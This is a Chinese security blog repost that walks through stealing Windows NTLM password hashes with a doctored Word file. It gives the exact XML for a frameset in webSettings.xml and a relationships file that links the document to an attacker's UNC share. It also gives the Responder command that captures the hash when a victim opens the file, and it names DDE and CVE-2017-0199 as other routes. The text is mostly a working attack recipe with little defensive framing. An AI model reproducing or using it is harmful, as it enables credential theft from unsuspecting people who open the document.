通过Microsoft Office 窃取 NTLM Hashes

2018 年 4 月 25 日 黑白之道

之前有人总结了很多种窃取NTLM hash的方法,原文,译文。里面写的方法已经很多了,最近又学到了一个新的方法,所以在这里进行一下分享,也算是一个补充。


历史上,Microsoft Word被用作HTML编辑器。这意味着它可以支持HTML元素,例如框架集。因此,可以将Microsoft Word文档与UNC路径链接起来,并将其与响应程序结合,以便从外部捕获NTLM哈希值。带有docx扩展名的Word文档实际上是一个包含各种XML文档的zip文件。这些XML文件正在控制主题,字体,文档的设置和Web设置。


所以我们可以新建一个任意文档,并用压缩包来打开他。

在word 目录下有一个webSettings.xml。我们对这个文件进行修改,添加以下代码则会创建与另外一个文件的链接。


<w:frameset>

<w:framesetSplitbar>

<w:w w:val="60"/>

<w:color w:val="auto"/>

<w:noBorder/>

</w:framesetSplitbar>

<w:frameset>

<w:frame>

<w:name w:val="3"/>

<w:sourceFileName r:id="rId1"/>

<w:linkedToFile/>

</w:frame>

</w:frameset>

</w:frameset>

最终修改后的webSettings.xml如下:


<?xml version="1.0" encoding="UTF-8" standalone="yes"?>

<w:webSettings xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:w14="http://schemas.microsoft.com/office/word/2010/wordml" mc:Ignorable="w14">

    <w:frameset>

<w:framesetSplitbar>

<w:w w:val="60"/>

<w:color w:val="auto"/>

<w:noBorder/>

</w:framesetSplitbar>

<w:frameset>

<w:frame>

<w:name w:val="3"/>

<w:sourceFileName r:id="rId1"/>

<w:linkedToFile/>

</w:frame>

</w:frameset>

</w:frameset>

<w:optimizeForBrowser/><w:allowPNG/></w:webSettings>

现在我们把新的webSettings.xml替换原来的webSettings.xml,之后在word目录下的_rels目录创建一个新的文件 webSettings.xml.rels,文件内容如下:


<?xml version="1.0" encoding="UTF-8" standalone="yes"?>

<Relationships

xmlns="http://schemas.openxmlformats.org/package/2006/relationships">

<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/frame" Target="\\172.16.103.130\Updates.docx" TargetMode="External"/>

</Relationships>


在这里包含了UNC路径。指向我们的Responder。


之后把文档重新命名为docx。开启Responder


python Responder.py -I eth0 -wrf



打开word,则可获取到hash当然,



使用DDE的方式以及CVE-2017-0199等其他的方式都是可以的。


文章出处:Evi1cg's blog   

原文链接: https://evi1cg.me/archives/Get_NTLM_Hashes.html

你可能喜欢

最新变种利用OFFICE漏洞绕过多家杀软

微软Office曝存在17年之久的“全版本影响”老洞

Office最新0day漏洞 所有Word版本受影响

登录查看更多
0

相关内容

Microsoft Office 是一套由微软开发的办公软件。
【Manning新书】现代Java实战,592页pdf
专知会员服务
98+阅读 · 2020年5月22日
【实用书】Python技术手册,第三版767页pdf
专知会员服务
229+阅读 · 2020年5月21日
【实用书】Python爬虫Web抓取数据,第二版,306页pdf
专知会员服务
115+阅读 · 2020年5月10日
【实用书】流数据处理,Streaming Data,219页pdf
专知会员服务
76+阅读 · 2020年4月24日
【资源】100+本免费数据科学书
专知会员服务
105+阅读 · 2020年3月17日
计算机视觉最佳实践、代码示例和相关文档
专知会员服务
17+阅读 · 2019年10月9日
Python 3.8.0来了!
数据派THU
5+阅读 · 2019年10月22日
后渗透利用msf关闭防火墙
黑白之道
8+阅读 · 2019年8月24日
ISeeYou一款强大的社工工具
黑白之道
29+阅读 · 2019年5月17日
Kali Linux 渗透测试:密码攻击
计算机与网络安全
15+阅读 · 2019年5月13日
Pupy – 全平台远程控制工具
黑白之道
43+阅读 · 2019年4月26日
已删除
架构文摘
3+阅读 · 2019年4月17日
Seq2seq强化,Pointer Network简介
机器学习算法与Python学习
15+阅读 · 2018年12月8日
比Selenium快100倍的方法爬东方财富网财务报表
程序人生
8+阅读 · 2018年10月31日
A survey on deep hashing for image retrieval
Arxiv
14+阅读 · 2020年6月10日
Arxiv
3+阅读 · 2018年6月1日
Arxiv
5+阅读 · 2018年3月28日
Arxiv
5+阅读 · 2018年3月6日
VIP会员
相关VIP内容
相关资讯
Python 3.8.0来了!
数据派THU
5+阅读 · 2019年10月22日
后渗透利用msf关闭防火墙
黑白之道
8+阅读 · 2019年8月24日
ISeeYou一款强大的社工工具
黑白之道
29+阅读 · 2019年5月17日
Kali Linux 渗透测试:密码攻击
计算机与网络安全
15+阅读 · 2019年5月13日
Pupy – 全平台远程控制工具
黑白之道
43+阅读 · 2019年4月26日
已删除
架构文摘
3+阅读 · 2019年4月17日
Seq2seq强化,Pointer Network简介
机器学习算法与Python学习
15+阅读 · 2018年12月8日
比Selenium快100倍的方法爬东方财富网财务报表
程序人生
8+阅读 · 2018年10月31日
Top
微信扫码咨询专知VIP会员